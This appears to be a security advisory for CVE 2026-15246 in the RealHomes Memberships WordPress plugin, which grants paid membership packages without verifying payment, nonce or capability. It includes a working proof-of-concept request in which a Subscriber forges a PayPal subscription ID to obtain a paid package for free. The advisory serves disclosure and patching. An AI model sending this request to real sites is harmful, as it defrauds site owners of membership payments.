RealHomes Memberships < 3.1.0 – Subscriber+ Membership Payment Bypass | CVE 2026-15246

Description

The plugin does not verify that a membership payment actually completed, nor check a nonce or the user's capability, before granting a paid membership package, allowing any authenticated user such as a Subscriber to obtain paid membership packages without paying.

Proof of Concept

Prerequisites:
- RealHomes Memberships 3.0.9 active.
- At least one published membership package exists (any live RealHomes membership site has these). Note its package ID, referred to below as N.
- The attacker holds any logged-in account, e.g. a Subscriber. The membership AJAX action is registered for authenticated users, so no higher role is required.

Steps:
1. Log in as the Subscriber and keep the session cookies.
2. Send the membership-grant request with a forged subscription ID and the target package ID:

POST /wp-admin/admin-ajax.php
Cookie: <subscriber session cookies>
Content-Type: application/x-www-form-urlencoded

action=ims_add_paypal_recurring_membership&package_id=N&subscription_id=FAKE-SUBSCRIPTION-521530

3. The server responds with HTTP 200 and {"redirect_url":"https://victim.example/"}.

Result: the Subscriber's account is immediately granted the paid membership package N (membership, PayPal profile = FAKE-SUBSCRIPTION-521530, and the package's listing/featured quotas and due date are written to the user), with no payment made and no PayPal verification performed.